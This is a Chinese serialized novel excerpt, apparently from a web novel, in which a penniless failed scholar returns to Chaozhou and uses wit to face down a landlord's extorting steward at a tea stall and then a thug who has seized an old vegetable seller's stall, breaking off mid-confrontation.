《鬼才秀才夏雨来》 1. 夏雨来归乡 一、穷途归乡,一身清风 时值暮春,粤东地界烟雨濛濛,正是 “清明时节雨纷纷” 的光景。 官道上行人稀稀拉拉,多是披蓑戴笠的农夫、挑担赶路的货郎,偶有几辆马车疾驰而过,溅起一路泥水,扬起的尘土混着雨雾,把天地间染得一片朦胧。 就在这般光景里,一个青布长衫洗得发白、领口袖口磨出毛边的年轻书生,正一步一步,慢悠悠地往潮州府城的方向走。 这人便是夏雨来。 年方二十二,生得眉目清俊,鼻梁挺直,唇线分明,一双眼睛亮得像浸在水里的黑曜石,哪怕穿着一身破旧长衫,背着一个打了补丁的旧书箱,脚下布鞋磨破了两个洞,露出大脚趾头,也半点不显狼狈,反倒透着一股说不出的洒脱劲儿。 只是此刻,这洒脱劲儿底下,藏着几分实打实的窘迫。 夏雨来抬手抹了一把额角的雨水,冰凉的雨丝顺着脸颊往下滑,钻进衣领,凉得他打了个轻颤。他低头看了看自己这一身行头,忍不住在心里自嘲一笑。 想他夏雨来,自幼饱读诗书,三岁识千字,五岁背唐诗,七岁能作文章,乡里乡外谁不夸一句 “神童”?原以为凭着一身才学,考个秀才、搏个功名,不说光宗耀祖,至少也能让年迈的娘亲过上几天好日子。 谁曾想,考场黑暗,官场污浊,他空有一肚子墨水,却不肯低头行贿,不肯趋炎附势,三次应试皆名落孙山。盘缠耗尽,求助无门,最后只能卷铺盖回乡,活脱脱一个落第穷秀才,要多落魄有多落魄。 书箱里除了几卷破旧的诗书、一方磨得光滑的旧砚台,再无他物。身上分文无有,别说住店吃饭,就连买个烧饼的铜板都掏不出来。 肚子不合时宜地 “咕咕” 叫了起来,一阵空虚的饥饿感从胃里蔓延开来,搅得他头晕眼花。 夏雨来苦笑一声,抬手拍了拍干瘪的肚子,低声喃喃自语:“肚子啊肚子,你且忍一忍。咱们这就回潮州城,回到咱们的地盘上,凭你家公子这张嘴,还能饿着不成?” 话虽如此,可腹中空空如也,双腿发软,每走一步都像是踩在棉花上。烟雨濛濛的天气,本就湿冷,再加上饥寒交迫,饶是夏雨来心性豁达,也难免生出几分凄凉。 他抬头望向远方,隐约能看见潮州府城的城墙轮廓,青灰色的城墙在雨雾中若隐若现,像一头沉睡的巨兽,守着一方市井烟火。 那是他从小长大的地方,有青石板铺就的老街,有吆喝不断的集市,有街坊邻里的嬉笑怒骂,有热热闹闹的人间烟火。 一想到那些熟悉的场景,夏雨来心里的凄凉顿时散去大半,取而代之的是一股暖意。 他夏雨来,虽无官无职,无钱无势,可他有一肚子才学,有一张能说会道的嘴,有一颗爱打抱不平的心。在这市井之间,未必不能活得风生水起。 功名?那是给趋炎附势之辈准备的。他夏雨来,宁可做个逍遥自在的穷秀才,也不做那卑躬屈膝的官场犬。 想通了这一层,夏雨来脚步顿时轻快了几分,原本耷拉着的肩膀也挺直了,那双黑曜石般的眼睛里,重新燃起了神采。 他把书箱往上提了提,迎着漫天细雨,迈开步子,朝着潮州城的方向,一步步走去。 风一吹,他那身破旧的青布长衫随风摆动,看上去虽穷,却穷得有风骨,穷得有精气神。 路过的农夫见了,忍不住指指点点:“哎,你看那书生,穿得破破烂烂,还挺有架势。”“怕是哪个落第的秀才吧,这年头,读书不值钱喽。”“看着倒是眉清目秀,就是太穷了,连双好鞋都没有。” 这些议论声不大不小,刚好飘进夏雨来的耳朵里。 若是换了别的书生,怕是早就羞得面红耳赤,恨不得找个地缝钻进去。可夏雨来是谁?他向来是个脸皮厚、心态稳的主,半点不恼,反倒对着那几个农夫拱了拱手,朗声笑道:“诸位乡亲说笑了,小生这叫‘身无分文,心藏万卷;衣衫破旧,腹有乾坤’。别看小生穷,日后这潮州城的热闹,少不了小生一份!” 一番话说得铿锵有力,风趣豁达,那几个农夫先是一愣,随即都被逗笑了。“这秀才有意思,嘴皮子倒是利索!”“哈哈,好一个腹有乾坤,等着看你热闹!” 夏雨来笑着摆了摆手,不再多言,继续赶路。 他心里清楚,市井生存,第一要义便是脸皮厚、心态好。你越自卑,别人越欺你;你越豁达,别人越敬你。他如今一无所有,只剩这张嘴和这颗心,若是连这点心气都没了,那才真是彻底完了。 就这般,一路走,一路自我宽慰,一路和偶遇的路人插科打诨,约莫半个时辰后,夏雨来终于走到了潮州府城的城门口。 高大的城门楼巍峨耸立,“潮州” 两个大字苍劲有力,城门下进进出出的百姓络绎不绝,挑着菜担的菜农、扛着货物的脚夫、挎着竹篮的妇人、嬉闹奔跑的孩童…… 人声鼎沸,烟火气扑面而来。 那股熟悉的、热腾腾的市井气息,瞬间包裹了夏雨来。 他深吸一口气,空气中混杂着雨水的湿气、街边小吃的香气、草木的清香,还有人间烟火的暖意。 回家了。 真正的回家了。 夏雨来眼眶微微一热,不是难过,是踏实。 在外面漂泊应试,受尽冷眼,尝尽辛酸,此刻脚踏在故乡的土地上,听着熟悉的乡音,看着热闹的市井,那种漂泊无依的感觉,瞬间烟消云散。 他抬步走进城门,青石板路被雨水冲刷得干干净净,倒映着两边的店铺招牌,红灯笼在雨雾中摇曳,一派热闹景象。 街边的店铺一家挨着一家,米铺、布店、铁匠铺、杂货摊、小吃档…… 吆喝声、讨价还价声、嬉笑声、车马声,交织在一起,汇成一曲最生动的市井乐章。 夏雨来一边走,一边四下打量,眼睛里满是怀念。 一切都还是老样子,却又比记忆中更热闹了几分。 只是,肚子再次不合时宜地 “咕咕” 大叫,声音之大,连旁边路过的一个小贩都听见了,忍不住笑了起来:“秀才,饿了吧?我这有刚蒸好的番薯,来一个?” 夏雨来脸一红,连忙拱手道谢:“多谢大叔好意,只是小生…… 身无分文。” 那小贩倒是爽快,摆摆手:“不值钱的东西,一个番薯而已,拿着!” 说着,就从蒸笼里拿了一个热乎乎的番薯,塞到夏雨来手里。 温热的触感从手心传来,瞬间暖了四肢百骸。 夏雨来心中一暖,看着那小贩憨厚的笑脸,郑重地抱了抱拳:“大叔今日赠我一饭之恩,小生夏雨来铭记在心,日后必有回报!” “哈哈,回报就不必了,你这秀才嘴甜,听着舒坦!” 小贩笑着摆手。 夏雨来捧着热乎乎的番薯,也不矫情,当场就剥开皮,大口吃了起来。番薯软糯香甜,热气顺着喉咙滑进胃里,瞬间驱散了饥寒,整个人都活了过来。 他一边吃,一边慢悠悠地往前走,打算先找个地方歇歇脚,再想办法解决生计问题。 就在这时,前方不远处,一阵喧闹声突然传来,打破了市井的平和。 二、茶摊风波,恶奴欺市 喧闹声来自城门内不远处的一个茶摊。 那茶摊不大,一张破旧的四方木桌,几条长凳,支着一个蓝色的布篷,布篷上写着四个大字 ——“阿翠茶摊”。 摊主是个二十出头的年轻女子,名叫阿翠。 生得眉目清秀,皮肤是健康的麦色,手脚麻利,性格泼辣爽直,是个典型的市井女子。父母早亡,独自一人靠着这个茶摊谋生,起早贪黑,本本分分,泡的茶水干净实惠,一文钱一碗,很受过往行人、挑夫小贩的欢迎,生意虽不大,倒也能勉强糊口。 此刻,茶摊前却围了一圈人,里三层外三层,议论纷纷,场面乱糟糟的。 只见三个穿着短打、腰挎腰刀、一脸横肉的恶奴,正叉着腰,凶神恶煞地站在茶摊前,对着阿翠破口大骂。 为首的那个恶奴,三角眼,塌鼻梁,脸上还有一道刀疤,正是本地劣绅陈老财府上的大管家,名叫胡三。平日里狗仗人势,欺压百姓,强拿恶要,是个人人厌憎的恶奴。 阿翠站在茶摊后,双手紧紧攥着围裙,脸色苍白,眼眶通红,却依旧强撑着,不肯低头。 “胡管家,你们讲点道理!” 阿翠的声音带着委屈和愤怒,却依旧强装镇定,“我这小本生意,一文钱一碗茶,赚的都是辛苦钱。你们一来就要收什么‘街市保护费’,一文钱的茶,你们要抽两文钱的费,这不是明抢吗?” “明抢?” 胡三冷笑一声,三角眼一瞪,伸手猛地一拍茶桌,“砰” 的一声,桌上的茶碗都震得跳了起来,“小娘子,你少跟老子讲道理!这潮州城,在陈老爷的地盘上,做什么生意不用交钱?不交保护费,你这茶摊还想不想开了?” “我已经交过街市的管理费了!” 阿翠气得浑身发抖,“官府都收过了,你们凭什么再收?” “官府是官府,陈老爷是陈老爷!” 旁边一个恶奴嚣张地喊道,“在这潮州城,陈老爷的话,比官府还管用!今天你交也得交,不交也得交!” “我没钱!” 阿翠咬着牙,“我一天也就赚几十文钱,除去茶钱、本钱,所剩无几,实在交不起你们的保护费!” “没钱?” 胡三脸上露出一抹淫邪的笑,上下打量着阿翠,目光猥琐,“没钱也行啊。小娘子长得倒是标致,不如…… 跟老子回府,伺候伺候陈老爷,别说保护费了,以后吃香的喝辣的,都有你的份!” 这话一出,周围的百姓顿时一片哗然。 谁都知道,陈老财是个好色之徒,家里妻妾成群,还经常在外强抢民女。阿翠一个弱女子,若是被他盯上,那后果不堪设想。 “你无耻!” 阿翠又气又羞,眼泪瞬间涌了上来,却强忍着不让它掉下来,“我就是砸了茶摊,也不会受你们胁迫!” “哟呵?还敢嘴硬?” 胡三恼羞成怒,伸手就想去抓阿翠的胳膊,“老子今天就教教你,什么叫规矩!” “不要碰我!” 阿翠吓得连忙后退,脸色惨白。 周围的百姓虽然个个义愤填膺,眼神里满是愤怒和同情,却没人敢上前阻拦。 谁都知道胡三是陈老财的人,陈老财在潮州城有权有势,家大业大,手下恶奴成群,得罪了他,绝对没有好果子吃。轻则被砸了摊位,重则被打一顿,甚至连家都保不住。 百姓们胆小,敢怒不敢言,只能在一旁低声议论,却没人敢站出来。 “太过分了!这胡三也太嚣张了!”“陈老财也不是东西,天天纵容恶奴欺压百姓!”“阿翠这姑娘太可怜了,本本分分做生意,招谁惹谁了?”“唉,咱们小老百姓,能有什么办法?官官相护,咱们斗不过人家啊……” 议论声中,满是无奈和心酸。 胡三听到百姓的议论,非但不怕,反倒更加嚣张,得意洋洋地喊道:“你们议论也没用!今天这钱,她必须交!人,也必须给我乖乖听话!” 说着,再次伸手,朝着阿翠抓去。 阿翠吓得闭上了眼睛,绝望涌上心头,眼泪终于忍不住掉了下来。 她知道,自己今天怕是躲不过去了。茶摊要被砸,自己也要被欺负,这世道,真的没有公道了吗? 就在这千钧一发之际,一个清亮、诙谐、带着几分戏谑的声音,突然从人群外响了起来,穿透了所有的喧闹: “哎 —— 住手!光天化日,朗朗乾坤,潮州城脚下,居然有人敢强抢民女、勒索商户,我活了二十二年,还是第一次见这么‘有本事’的好汉!” 这声音不大,却格外清晰,像一颗石子投进平静的湖面,瞬间吸引了所有人的目光。 众人纷纷转头望去。 只见人群外,站着一个穿着破旧青布长衫、背着旧书箱、脚下布鞋磨破洞的年轻书生。 他一手捧着半个没吃完的番薯,一手负在身后,站姿挺拔,眉眼含笑,一双眼睛亮晶晶的,透着一股说不出的机灵和狡黠。 不是别人,正是刚归乡、刚填饱肚子的夏雨来。 原来,夏雨来吃着番薯,慢悠悠走到这里,刚好撞见了这一幕。 他站在人群外,从头看到尾,把事情的来龙去脉听得一清二楚,心里早就火了。 他夏雨来,别的不行,就是见不得恶人欺负好人,见不得市井百姓受委屈。当年在外面应试,他都敢路见不平,如今回到自己家乡,看着家乡的弱女子被恶奴欺负,街坊百姓敢怒不敢言,他怎么可能袖手旁观? 刚才他一直在观察,一直在心里盘算。 硬拼?肯定不行。他一个文弱书生,手无缚鸡之力,对面三个身强力壮的恶奴,真打起来,他连一招都撑不过,非但救不了阿翠,反倒会把自己搭进去。 硬碰硬,那是莽夫所为,不是他夏雨来的风格。 他的本事,不在拳头,在脑子,在嘴皮子。 所以,他没有贸然冲上去,而是先在心里快速盘算了一番,打好了腹稿,这才慢悠悠开口,一开口,就先声夺人。 胡三等人正嚣张得意,突然被人打断,还被当众嘲讽,顿时勃然大怒。 胡三猛地转头,恶狠狠地看向夏雨来,三角眼瞪得溜圆,厉声喝道:“哪来的穷酸秀才?敢管老子的闲事?活腻歪了是不是!” 另外两个恶奴也立刻转头,目露凶光,朝着夏雨来逼近两步,一副随时要动手打人的架势。 周围的百姓见状,都为夏雨来捏了一把冷汗。“这秀才是谁啊?怎么敢管胡三的事?”“完了完了,这书生要倒霉了!胡三脾气暴躁,肯定要打他!”“小伙子,快别说了,赶紧跑吧!别惹祸上身!” 阿翠也睁开眼睛,看到夏雨来,眼中闪过一丝惊讶,随即又充满了担忧。这书生看着文弱,根本不是胡三的对手,这一插手,怕是要被牵连。 “秀才,谢谢你好意,你快走吧,这不关你的事!” 阿翠连忙喊道,不想连累无辜。 夏雨来却半点不怕。 他脸上依旧挂着笑,慢悠悠地啃了一口番薯,咽下之后,才慢悠悠地开口,语气诙谐,不紧不慢,半点不把胡三的凶神恶煞放在眼里。 “这位好汉,别急着发火嘛。” 夏雨来拱了拱手,语气戏谑,“小生夏雨来,一介穷秀才,刚从外地归乡,路过此地,碰巧看了一场好戏。只是忍不住想问一句 —— 你说你在这收保护费,收的是什么‘保护’?保护谁?又防着谁?” 胡三一愣,显然没料到这穷秀才居然不害怕,还敢反问他。他冷哼一声:“老子收保护费,自然是保护这街市的商户,防止地痞流氓捣乱!” “哦?原来如此!” 夏雨来故作恍然大悟,拍了拍手,眼神却越发狡黠,“那小生可就奇怪了。小生刚才亲眼看见,在这街市上,欺负商户、恐吓弱女、强抢勒索的,不是什么地痞流氓,正是好汉你们三位啊!这么说,你们收保护费,是为了保护大家…… 不被你们自己欺负?” 这话一出,逻辑刁钻,诙谐犀利,瞬间戳破了胡三的谎言。 周围的百姓先是一愣,随即忍不住 “噗嗤” 一声,全都笑了出来。“哈哈哈哈!对!说得对!”“秀才说得太妙了!他们收保护费,就是保护大家不被他们欺负!”“妙啊!这嘴皮子,太厉害了!” 笑声一响,胡三的脸瞬间涨成了猪肝色,又羞又怒,气得浑身发抖。“你…… 你个穷酸秀才,敢戏弄老子!” 胡三暴跳如雷,指着夏雨来的鼻子骂道,“老子看你是找死!” “哎哎哎,好汉别动粗!” 夏雨来连忙后退一步,摆了摆手,一脸 “害怕”,语气却依旧戏谑,“小生只是个读书人,手无缚鸡之力,经不起好汉一拳。再说了,小生说的是实话啊。你想,要是你们不收保护费,不在这里闹事,这茶摊安安稳稳做生意,比什么都安全。你们一来,又是拍桌子又是骂人,还要抓人,这哪是保护,分明是祸害嘛!” 他一边说,一边故意装出一副委屈巴巴的样子,眼神却亮晶晶的,透着一股狡黠。 那副 “我弱我有理,你凶你理亏” 的模样,气得胡三差点吐血。 “牙尖嘴利!老子今天非撕了你的嘴!” 胡三彻底被激怒,挥起拳头,就朝着夏雨来冲了过去。 周围的百姓惊呼一声,阿翠更是吓得脸色惨白,失声喊道:“秀才快跑!” 三、鬼才巧辩,一语破局 眼看胡三的拳头就要砸到夏雨来身上,所有人都以为这穷秀才要挨揍了。 可夏雨来是谁? 他早就料到胡三会恼羞成怒动手,心里早有准备。 只见他不慌不忙,非但不跑,反倒往前站了一步,挺直腰板,对着胡三,突然朗声大喊一声: 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果然,赌对了。 夏雨来见状,立刻趁热打铁,脸上依旧挂着笑,语气却变得严肃了几分,对着胡三,一字一句,朗声说道: “胡管家,你也是有头有脸的人物,是陈老爷府上的大管家。陈老爷是什么人?那是咱们潮州城有名的乡绅,知书达理,乐善好施,平日里最是体恤百姓,最讲规矩道理。” 他先一顿猛夸,把陈老财捧得高高的,捧成一个大善人、大乡绅。 胡三一愣,不知道这秀才突然夸陈老爷干什么,下意识地听着。 周围的百姓也愣住了,不知道夏雨来葫芦里卖的什么药。 陈老财是什么人?欺压百姓、贪财好色的劣绅,谁不知道?怎么到了这秀才嘴里,成了乐善好施的大乡绅了? 只有夏雨来自己心里清楚,这叫 “先捧后杀”,用对方主子的名声,压住对方的气焰。 只听夏雨来继续说道:“陈老爷平日里教导下人,要安分守己,要善待百姓,不许欺压乡邻,不许强拿恶要。可你呢?你今天在这里,强收保护费,恐吓弱女子,当街耍横,辱骂商户,所作所为,哪一点像陈老爷的下人?哪一点符合陈老爷的教导?” 他语气一转,变得犀利起来:“你这哪里是给陈老爷办事,你这是给陈老爷抹黑!是坏陈老爷的名声!若是陈老爷知道,他手下的管家,居然在街市上如此欺压百姓,丢他的脸面,你说,陈老爷会怎么对你?怕是轻则打断你的腿,重则直接把你赶出府去吧?” 这话,字字诛心,句句戳中要害。 胡三的脸色,瞬间从猪肝色,变成了惨白。 他彻底慌了。 他之所以嚣张,全靠陈老财撑腰。若是真的被陈老爷知道,他在外面如此胡作非为,坏了老爷的名声,以老爷的脾气,绝对饶不了他! 陈老财平日里最看重自己的 “乡绅” 名声,最忌讳别人说他欺压百姓,每次都装得仁心仁义,若是知道他胡三把事情闹成这样,让老爷名声扫地,他真的要完蛋! 胡三心里越想越怕,刚才的嚣张气焰,瞬间消失得无影无踪,取而代之的是慌乱和恐惧。 他张了张嘴,想反驳,却发现自己无话可说。 因为夏雨来说的,全是实话。 夏雨来把胡三的慌乱看在眼里,心里暗暗得意,脸上却依旧一本正经,继续循循善诱,语气又软了下来,给胡三一个台阶下: “胡管家,我知道,你也是一时糊涂,未必是真心想欺压百姓。说不定,是你误会了陈老爷的意思,把‘体恤商户’当成了‘收取费用’,这才好心办了坏事,对不对?” 这话,简直是给胡三递了一个天大的台阶。 胡三脑子转得快,立刻顺着台阶下,连忙点头,装出一副恍然大悟的样子,对着夏雨来拱手,语气都软了: “秀才说得对!说得太对了!是我糊涂!是我误会了老爷的意思!我原本是想维护街市秩序,没想到办砸了,差点坏了老爷的名声!多谢秀才提醒!多谢秀才提醒!” 他一边说,一边对着夏雨来作揖,态度来了个一百八十度大转弯。 周围的百姓看呆了。 谁也没想到,刚才还凶神恶煞的胡三,居然被这穷秀才几句话,说得服服帖帖,瞬间认怂! 这秀才,也太厉害了吧! 阿翠也愣住了,眼睛瞪得大大的,看着夏雨来,满眼都是震惊和感激。她原本以为今天在劫难逃,没想到突然冒出来一个穷秀才,凭一张嘴,就把恶奴给镇住了! 夏雨来见胡三上道,心里满意极了,脸上却依旧故作严肃,摆了摆手:“明白就好。你是陈老爷的管家,一言一行,代表的都是陈老爷。以后做事,多想想陈老爷的名声,多体恤百姓的辛苦,本本分分,才是正道。” “是是是!秀才教训得是!” 胡三连忙点头哈腰,哪里还有半分嚣张。 “那今天这事……” 夏雨来故意拖长了语调。 “今天这事,是我的错!” 胡三立刻表态,转头对着阿翠,勉强挤出一个笑脸,“阿翠小娘子,对不起,是我胡三糊涂,冒犯了你,你大人有大量,别跟我一般见识。保护费,我们不收了,绝对不收了!你安心做生意,以后没人敢来捣乱!” 阿翠愣了愣,连忙点头:“好…… 好……” 胡三不敢多留,生怕再待下去,又被这秀才抓住把柄,坏了事情。他对着夏雨来再次拱了拱手,带着两个恶奴,灰溜溜地转身就走,连头都不敢回,狼狈不堪。 直到胡三等人的身影消失在街角,茶摊前的百姓们,才瞬间爆发出一阵雷鸣般的掌声和欢呼声! “好!太好了!”“秀才厉害!太厉害了!”“三言两语就把胡三给赶跑了,这才是真本事!”“阿翠姑娘,没事了!没事了!” 欢呼声中,百姓们围着夏雨来,七嘴八舌地称赞,眼神里满是敬佩和惊叹。 阿翠连忙从茶摊后走出来,走到夏雨来面前,对着他深深福了一礼,眼眶通红,满是感激:“秀才,多谢你!多谢你出手相救!今天若不是你,我真的不知道该怎么办了!你是我的救命恩人!” 说着,就要给夏雨来倒茶。 夏雨来连忙扶住她,笑着摆手,语气诙谐豁达:“哎,小娘子不必多礼。路见不平,拔刀相助,乃是书生本分。再说了,小生只是动了动嘴皮子,没什么大不了的。倒是小娘子,你一个人谋生不容易,以后若是再有人欺负你,尽管报我夏雨来的名字,小生帮你出头!” “夏雨来……” 阿翠默念这个名字,记在心里,“我记住了!秀才,你快坐,喝碗茶,暖暖身子!” “好嘞!” 夏雨来也不客气,找了个长凳坐下,笑眯眯地说,“不瞒小娘子说,小生刚归乡,身无分文,肚子饿了半天,刚吃了个番薯,还真有点渴了。你这碗茶,可是雪中送炭!” 阿翠被他逗笑了,连忙给夏雨来倒了一碗热气腾腾的清茶,递了过去:“秀才快喝,不要钱!随便喝!” 夏雨来接过茶碗,一饮而尽,热茶入喉,浑身舒畅。 他放下茶碗,对着阿翠拱了拱手,又对着周围的百姓抱了抱拳,朗声笑道:“诸位乡亲,小生夏雨来,从今往后,就在这潮州城落脚了!以后街坊邻里有什么不平事、麻烦事,尽管找我!我夏雨来,别的本事没有,就是会讲道理,会动脑子,专治各种恶人恶霸,保咱们市井平安!” 一番话,说得豪气干云,诙谐风趣,瞬间赢得了所有百姓的好感。 “好!以后我们就找你!”“夏雨来秀才,以后就靠你为我们出头了!” 夏雨来笑着摆手,心里却暗暗点头。 第一步,成了。 他夏雨来,一没权二没钱三没势力,可他有一肚子智慧,一张利嘴,一颗侠义之心。 从今天起,他这个鬼才秀才,就要在这潮州市井,正式出山了! 烟雨依旧濛濛,可茶摊前的气氛,却热烈无比。 夏雨来坐在长凳上,喝着阿翠泡的热茶,看着周围热情的百姓,听着热闹的市井声,嘴角扬起一抹狡黠而豁达的笑。 他的归乡之路,他的市井侠义传奇,从这一刻,正式拉开了序幕。 2. 地摊霸占地 一、晨光市井,摊位生愁 天刚蒙蒙亮,潮州府城的东城门还浸在一层薄薄的晨雾里,青石板路上已经泛起了湿润的水光。昨夜的细雨把整条街洗得干干净净,屋檐下还滴着水珠,“嗒、嗒、嗒”,敲在竹编的菜筐上,像一首慢悠悠的晨曲。 城门一开,挑担的、推车的、挎篮的小贩们便像潮水一样涌了进来,打破了清晨的宁静。扁担压在肩膀上的 “吱呀” 声、独轮车碾过石板的 “咕噜” 声、小贩们互相打招呼的吆喝声,混在一起,成了潮州城最鲜活的晨曲。 今天的夏雨来,比昨天还要精神几分。 他依旧穿着那件洗得发白的青布长衫,只是昨夜阿翠偷偷给他缝好了鞋尖的破洞,又塞给他两个热乎乎的麦饼,让他这一宵睡得踏实,肚子也安稳。此刻他正背着手,慢悠悠地从街口走过,一双眼睛滴溜溜转,把整条街市的热闹尽收眼底。 经过阿翠的茶摊时,老板娘远远就朝他招手,声音又脆又亮:“夏雨来!早啊!过来喝碗热茶!” 夏雨来脚步一顿,脸上立刻堆起笑,拱手作揖,语气诙谐:“阿翠娘子客气了!昨日一碗茶救命,今日再来叨扰,小生都要不好意思了!” “叨扰什么!” 阿翠麻利地斟上一碗热茶,递到他手里,“你帮我赶跑了胡三,我谢你还来不及呢!以后只要你来,茶管够!” 夏雨来接过茶碗,指尖触到温热的瓷壁,心里一暖。他仰头喝了一大口,茶水清润,带着淡淡的竹香,浑身的筋骨都松快了。 “好茶!” 他赞了一声,又压低声音,半开玩笑道,“不过娘子也要小心,陈老财那人记仇,胡三今日吃了瘪,说不定日后还会来找麻烦。” 阿翠脸上的笑容淡了几分,点了点头,又强打起精神:“我晓得。不过有你这句话,我也不怕了。大不了我再喊你就是!” “尽管喊!” 夏雨来拍着胸脯,语气豪气又滑稽,“小生别的不行,斗嘴、设局、整恶霸,那是一斗一个准!” 两人说笑几句,夏雨来便告辞离开。他打算先在街市上转一圈,熟悉一下环境,再想想日后怎么谋生。他一个穷秀才,不能总靠街坊救济,总得有个糊口的营生。 可他刚走出没几步,就听见前面不远的地方,传来一阵吵吵嚷嚷的声音,比刚才所有的吆喝加起来都要刺耳。 夏雨来眉头微微一挑。 不用想也知道,又是不平事。 他心里暗叹一声:这潮州城,看着热闹烟火气,可底下藏着的腌臜事,倒是真不少。 他放缓脚步,装作闲逛的书生,慢悠悠地凑了过去。 人群已经围了里三层外三层,议论声、叹息声、怒骂声混作一团。 夏雨来个子高,不用挤进去,只站在外围踮脚一看,就把里面的情形看得一清二楚。 场子中间,是一个卖青菜的地摊。 摊主是个年近五十的老汉,姓王,大家都叫他王伯。王伯穿着一身打了好几块补丁的短打,头发花白,脸上布满皱纹,一双粗糙的大手青筋暴起,此刻正紧紧攥着一把青菜,指节都发白了。 他的面前,摆着两个竹筐,一筐绿油油的青菜,一筐带着泥土的白萝卜,水灵新鲜,一看就是凌晨刚从地里拔出来的。 地摊原本摆在街市最显眼、人流量最大的位置 —— 这里是官府划定的小贩摊位,谁先来谁就摆,规矩早就延续了十几年。王伯今天天不亮就出门,赶在城门开前就占好了位置,本本分分做生意。 可现在,他的摊位被人占了。 霸占摊位的不是别人,正是本地出了名的恶霸 ——“地头蛇” 刘三刀。 这人三十多岁,身材粗壮,满脸横肉,左脸上一道刀疤从眼角一直拉到下巴,看着就凶神恶煞。他早年在外面混过,打过架,流过血,回到潮州城后,仗着认识几个地痞流氓,又和陈老财府上的人有些交情,便在街市上横行霸道。 强占摊位、欺行霸市、白吃白拿,是他的家常便饭。 此刻,刘三刀叉着腰,站在王伯的菜筐前,脚下还踩着王伯摆好的一块麻布,气焰嚣张至极。他身边还跟着两个跟班,都是一脸凶相,双手抱胸,虎视眈眈地盯着周围的百姓。 王伯气得浑身发抖,声音都在打颤:“刘三爷…… 你、你讲点道理!这摊位是我天不亮就占下的,是官府允许的小贩摊位,你怎么能说占就占?” “讲道理?” 刘三刀嗤笑一声,声音粗哑刺耳,他猛地抬脚,在王伯的菜筐上轻轻一踢,几颗青菜滚落在地,被他一脚踩烂,“在这东门街市,老子就是道理!老子说这摊位是我的,它就是我的!” “你 ——” 王伯眼睛一红,差点哭出来,“我就靠卖这点青菜过日子,一家老小都等着我卖菜换米下锅。你把摊位占了,我今天一分钱都赚不到,我们全家都要喝西北风啊!” “喝西北风关我屁事!” 刘三刀眼一瞪,凶相毕露,“老东西,别给脸不要脸!我给你两条路 —— 第一,立刻滚,滚到后面犄角旮旯里去,别在老子眼前晃;第二,别怪我动手,把你这两个破筐砸了,人也给你打一顿!” “你不能这样!” 王伯急得直跺脚,“我辛辛苦苦种的菜,起早贪黑挑到城里,你一句话就占了我的位置,还有没有王法了!” “王法?” 刘三刀哈哈大笑,像是听到了天大的笑话,他伸手拍了拍自己的胸口,“在这东门街,老子就是王法!” 周围的百姓都看不下去了,一个个义愤填膺,却没人敢上前。 大家都怕刘三刀。 这人下手黑,又不要命,得罪了他,轻则摊位被砸,重则回家路上被打闷棍,连说理的地方都没有。 “太欺负人了……”“王伯太可怜了,一家人就靠这点菜活命。”“刘三刀太霸道了,天天占别人摊位,谁都敢欺负!”“可我们有什么办法呢?谁敢惹他啊……” 议论声低低的,像蚊子叫,充满了市井小民的无奈和心酸。 王伯看着满地被踩烂的青菜,又看看刘三刀蛮横的脸,终于撑不住,双腿一软,差点跪倒在地。 他一辈子老实本分,种田卖菜,从不与人争执,可如今,连一口饭吃都要被人抢走。 “刘三爷…… 求求你了……” 王伯声音哽咽,老泪纵横,“我给你磕头了,你把摊位还给我吧…… 我一家老小,真的要活不下去了……” 说着,他真的要弯下腰磕头。 “哎 —— 使不得!”“王伯别磕头啊!” 百姓们惊呼,却没人敢上前拉。 刘三刀见状,更加得意,脸上露出嚣张至极的笑容:“老东西,早这么识相,不就没事了?磕头也没用,今天这摊位,我占定了!” 就在这一幕即将滑入最屈辱、最无力的时刻 —— 一个清亮、诙谐、带着几分慢悠悠戏谑的声音,从人群外面轻飘飘地传了进来,像一阵风,吹散了压抑的戾气。 “哎呀呀 —— 这位好汉,好大的口气!东门街市,官府地界,你张口就是‘老子就是王法’,小生活了二十二年,还是第一次见到这么‘威风’的市井英雄!佩服佩服!” 声音不大,却字字清晰,穿透了所有的喧闹。 所有人都猛地转头看去。 只见人群外,站着那个熟悉的青布长衫书生。 背着旧书箱,脚下布鞋整洁,手里还端着半碗没喝完的热茶,眉眼弯弯,嘴角噙笑,一双眼睛亮得像狐狸,透着一股说不出的狡黠与从容。 不是夏雨来是谁。 他刚才在外围看了足足半盏茶的功夫,没急着出声,而是把前因后果、刘三刀的脾气、围观百姓的心态,全都摸得一清二楚。 硬来?不行。刘三刀是混狠的,他一个文弱书生,上去就是送人头。 骂架?也不行。对方是泼皮,骂起来污言秽语,他一个秀才,失身份,也没用。 夏雨来心里早就盘算好了。 对付这种欺软怕硬、色厉内荏、又好面子的恶霸,最好的办法不是打,不是骂,而是 ——捧杀、设局、当众拆台,让他自己把自己套进去。 所以他一直忍到现在,忍到刘三刀最嚣张、最得意、最口无遮拦的时候,才轻飘飘地开口,一开口,就直戳要害。 刘三刀正嚣张得忘乎所以,突然被人打断,还被当众嘲讽,顿时勃然大怒。 他猛地转头,恶狠狠地看向夏雨来,三角眼瞪得溜圆,声音像打雷:“哪来的穷酸秀才?敢管老子的闲事?活腻歪了是不是!” 两个跟班立刻往前一站,气势汹汹地朝着夏雨来逼近,一副随时要动手的架势。 周围的百姓心一下子提到了嗓子眼。 “又是这个秀才!”“他昨天赶跑了胡三,今天又要管刘三刀的事?”“刘三刀可比胡三凶多了,他是真敢打人啊!”“小伙子,别冲动!快走吧!别把自己搭进去!” 阿翠也从茶摊跑了过来,一把拉住夏雨来的胳膊,急得脸色发白:“夏雨来!你别乱来!刘三刀不是胡三,他是真动手的!你快跟我走!” 夏雨来却轻轻拍了拍阿翠的手,给了她一个安心的眼神,语气依旧轻松诙谐:“娘子放心,小生这双手是用来写字、讲道理的,不是用来打架的。打架多粗鲁,咱们用脑子。” 他说着,轻轻挣脱阿翠的手,一步一步,慢悠悠地走进人群中间,站在了王伯和刘三刀之间。 正好挡在王伯身前,把老人护在后面。 王伯抬起满是泪水的脸,看到夏雨来,先是一愣,随即眼里闪过一丝绝望。 这秀才看着文弱,哪里是刘三刀的对手啊…… 夏雨来却转头对他温和一笑,声音轻轻的,却格外安定人心:“老伯,别怕。有我在,今天这摊位,谁也占不走。” 就这一句话,像一颗定心丸,让王伯发抖的身体,奇迹般地稳住了。 夏雨来这才转过身,面对凶神恶煞的刘三刀,脸上没有半分害怕,反而拱手作揖,动作斯文,语气却极尽戏谑: “这位好汉,小生夏雨来,一介穷秀才,今早刚喝完茶,路过此地,碰巧看了一场‘英雄占摊’的好戏。实在是忍不住,想向好汉请教几个问题。” 